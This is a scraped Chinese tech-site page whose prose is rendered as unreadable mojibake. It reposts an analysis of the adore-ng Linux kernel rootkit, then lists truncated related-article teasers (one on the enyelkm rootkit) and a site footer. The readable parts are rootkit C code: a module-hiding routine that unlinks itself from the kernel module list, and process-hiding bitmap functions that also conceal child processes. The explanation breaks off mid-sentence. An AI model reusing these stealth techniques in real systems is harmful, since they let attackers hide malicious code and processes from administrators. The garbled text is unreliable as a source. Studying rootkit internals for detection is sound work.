Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

Á½¸ölinuxÄÚºËrootkit Ö®¶þ£ºadore ng

ת×Ô£ºhttp://blog.csdn.net/dog250/archive/2010/02/09/5303688.aspx
Õâ¸örootkitʹÓõļ¼Êõ²»±Èǰһ¸ö£¬Ëü²»ÊÇÀ¹½ØÏµÍ³µ÷Ó㬶øÊÇÀ¹½Ø¾ßÌåÎļþϵͳµÄ»Øµ÷º¯Êý£¬±¾ÉíÎļþϵͳµÄ»Øµ÷º¯Êý¾ÍÊǶ¯Ì¬×¢²áµÄ£¬ºÜÊDz»È·¶¨£¬ÄÇô·´ºÚÈí¼þ×ÔÈ»¾Í²»Äܼòµ¥Ï½áÂÛ˵Õâ¸öº¯Êý±»ºÚµôÁË£¬Òò´ËÕâ¸örootkit¿´À´±Èǰһ¸öÂÔʤһ³ï£¬×ÔÈ»µÄ£¬¼ÈÈ»ÊÇÄÚºËÄ£¿é£¬ÄÇôģ¿éÒþ²ØÒ²ÊÇÒ»¸öÖØÒªµÄÄÚÈÝ£¬ÒÔÏÂÊÇÒ»¸ö¼òµ¥µÄÄ£¿éÒþ²Ø´úÂ룬ʹÓô˴úÂëµÄǰÌá¾ÍÊǽ«´ËÄ£¿é½ô½Ó×ÅÏ£Íû±»Òþ²ØµÄÄ£¿éÖ®ºó¼ÓÔØ£º
...//Ê¡ÂÔÍ·Îļþ
int init_module()
{
if (__this_module.next) //Õâ¸öÂß¼­ºÜ¼òµ¥£¬ÓÉÓÚ±»Òþ²ØµÄÄ£¿éÔÚÕâ¸öÄ£¿é֮ǰ¼ÓÔØ£¬ÄÇô֮ÐèÒª¸ü¸Ä¸ÃÄ£¿éµÄnextÖ¸Õë¼´¿É
__this_module.next = __this_module.next->next;
return 0;
}
...//Ê¡ÂÔ
¸ÃrootkitµÄµÚÒ»²½¾ÍÊÇÓÃËùÓеĽø³Ì¹¹½¨Ò»¸öλͼhidden_procs£¬Èç¹ûÄĸö½ø³ÌÐèÒªÒþ²Ø£¬ÄÇô¾Í½«¸Ã½ø³ÌµÄpidËùÔÚµÄλÖÃÖÃ1£¬·´Ö®ÖÃ0
inline void hide_proc(pid_t x)
{
if (x >= PID_MAX || x == 1)
return;
hidden_procs[x/8] |= 1<<(x%8);
}
inline void unhide_proc(pid_t x)
{
if (x >= PID_MAX)
return;
hidden_procs[x/8] &= ~(1<<(x%8));
}
ÒÔÏÂÕâ¸öº¯Êýʵ¼ÊÉϺͱ¾rootkitÎ޹أ¬½ö½öÊÇÒ»¸ö°ïÖúº¯Êý£¬µ«ÊÇ»¹ÊÇÁгöÀ´ÁË£¬¸Ãº¯ÊýµÄÒâÒåÔÚÓÚ½«Ò»¸ö×Ö·û´®×ª»¯ÎªÒ»¸öÊý×Ö
int adore_atoi(const char *str)
{
int ret = 0, mul = 1;
const char *ptr;
for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) ;
ptr--;
while (ptr >= str) {
if (*ptr < '0' || *ptr > '9')
break;
ret += (*ptr - '0') * mul;
mul *= 10;
ptr--;
}
return ret;
}
ÒÔϺ¯ÊýÅжÏÒ»¸ö½ø³ÌÊÇ·ñ±»Òþ²Ø£¬ÆäʵºÜ¼òµ¥£¬¼òµ¥µÄ˵Èç¹ûλͼÉϸýø³ÌµÄpid¶ÔÓ¦µÄλÖÃÊÇ1£¬ÄÇô¾Í¸ÃÒþ²Ø£¬·´Ö®¾Í²»¸Ã±»Òþ²Ø£¬ÁíÍ⻹ÓÐÒ»¸ö²ßÂÔ£¬¾ÍÊÇÒþ²Ø½ø³ÌµÄ×Ó½ø³ÌÒ²Ó¦¸Ã±»Òþ²Ø£º
int should_be_hidden(pid_t pid)
{
struct task_struct *p = NULL;
if (is_invisible(pid)) {
return 1;
}
p = adore_find_task(pid);
if (!p)
return 0;
task_lock(p);
if (is_invisible(p->parent->pid)) {
task_unlock(p);
hide_proc(pid);
return 1;
}
task_unlock(p);
return 0;
}
²é¿´½ø³ÌµÄpsÃüÁîÖ÷ÒªÊDZéÀú/procÎļþϵͳµÄ¸ùĿ¼£¬Ö»ÒªÊÇÊý×ÖµÄÄÇô¾Í±»ÊÓΪһ¸ö½ø³ÌµÄpid£¬¸ÃrootkitÒþ²Ø½ø


Ïà¹ØÎĵµ£º

linux 2.4 ºÍ2.6 ÄÚºËÇø±ð

Ëæ×ÅLinux2.6µÄ·¢²¼£¬ÓÉÓÚ2.6ÄÚºË×öÁ˽̵ĸ͝£¬¸÷¸öÉ豸µÄÇý¶¯³ÌÐòÔÚ²»Í¬³Ì¶ÈÉÏÒª
½øÐиÄд¡£ÎªÁË·½±ã¸÷λLinux°®ºÃÕßÎÒ°Ñ×Ô¼ºÕû
ÀíµÄÕâ·ÖÎĵµshare³öÀ´¡£¸ÃÎĵ±ÁоÙ
ÁË2.6ÄÚºËͬÒÔǰ°æ±¾µÄ¾ø´ó¶àÊý±ä»¯£¬¿ÉϧµÄÊÇÓÉÓÚʱ¼äºÍ¾«Á¦ÓÐÏÞûÓÐÏêϸÁгö¸÷¸ö
º¯ÊýµÄÓÃ
·¨¡£
ÌØ±ðÉùÃ÷£º¸ÃÎĵµÖеÄÄÚÈÝÀ´×Ôhttp://lwn.net£¬¸Ã ......

ÔÚUnix/LinuxÉÏÁî(java)JVMÖ§³ÖÖÐÎÄÊä³ö

Ò»¡¢ÔÚUnix/LinuxÉÏÁîJVMÖ§³ÖÖÐÎÄÊä³ö
Èç¹ûÓû§Ê¹ÓõÄÊÇUNIXµÄÔ¶³Ì·þÎñÆ÷£¬¾Í»áÓöµ½ÖÐÎÄ×ÖÌåÔÚͼÏñÖÐÊä³öµÄÎÊÌâ£¬ÌØ±ðÊÇÓÉÓÚÐí¶à¹ÜÀíÔ±²¢²»Ï²»¶°ÑÖ÷»úµÄlocale¶¨Îªzh(ÒòΪÒâζ×Å¿ÉÄܳöÂÒÂë»ò±ØÐëװ΢ÐÎͼÐÎÖÕ¶ËÏózhcon£¬µ«ºÜ¶àÇé¿öÏÂÕâÑùµÄÌõ¼þ²¢²»¾ß±¸)¡£´ó²¿·Ö³ÌÐòÔ±µÄJAVA¾­Ñé¹¶ÏÞÓÚJSP½Å±¾³ÌÐò£¬²¿·ÖÊìÁ·µÄ³ÌÐòÔ±´ó¸Å¿ ......

¹ØÓÚlinux¾²Ì¬¿âºÍ¶¯Ì¬¿âµÄ·ÖÎö

±¾ÎÄÀ´×ÔChinaUnix²©¿Í£¬Èç¹û²é¿´Ô­ÎÄÇëµã£ºhttp://blog.chinaunix.net/u1/53989/showart_1812426.html
1.ʲôÊÇ¿â
ÔÚwindowsƽ̨ºÍlinuxƽ̨϶¼´óÁ¿´æÔÚ×ſ⡣
±¾ÖÊÉÏÀ´Ëµ¿âÊÇÒ»ÖÖ¿ÉÖ´ÐдúÂëµÄ¶þ½øÖÆÐÎʽ£¬¿ÉÒÔ±»²Ù×÷ÏµÍ³ÔØÈëÄÚ´æÖ´ÐС£
ÓÉÓÚwindowsºÍlinuxµÄ±¾Öʲ»Í¬£¬Òò´Ë¶þÕß¿âµÄ¶þ½øÖÆÊDz»¼æÈݵġ£
±¾ÎĽöÏÞÓÚ½ ......

linux ÅäÖÃweblogic domain

1.
½²µ±Ç°Ä¿Â¼¶¨Î»µ½µ±Ç°Ê¹ÓõÄ
weblogic
µÄ°²×°Ä¿Â¼Ï£¬ÈçÏÂËùʾ
dc-test1<oracle>ls
logs           
osb_10.3       
patch_wls1030  
registry.dat   
tools  &nbs ......

Á½¸ölinuxÄÚºËrootkit Ö®Ò»£ºenyelkm

ת×Ô£ºhttp://blog.csdn.net/dog250/archive/2010/02/09/5303687.aspx
Ê×ÏÈ£¬Õâ¸örootkitÆäʵÊÇÒ»¸öÄÚºËľÂí£¬ºÍ´ó¶àÊýľÂí²»Í¬µÄÊÇ£¬¶ñÒâľÂíËùÔڵĻúÆ÷Êǿͻ§¶Ë¶ø²»ÊÇ·þÎñÆ÷£¬¶øºÚ¿ÍËùÔڵĻúÆ÷ÊÇ·þÎñÆ÷£¬ÕâÑù×öµÄºÃ´¦ÔÚÓÚ¿ÉÒÔ¶ã±Ü·À»ðǽ£¬Ò»°ãµÄ·À»ðǽ¶ÔÍâ³öµÄ°üÉó²é²»ÊÇÄÇôÑϸñ¶ø¶Ô½øÈëµÄ°üÉó²éÑϸñ£¬Èç¹û¶ñÒâ³ÌÐòÊÇ·þ ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ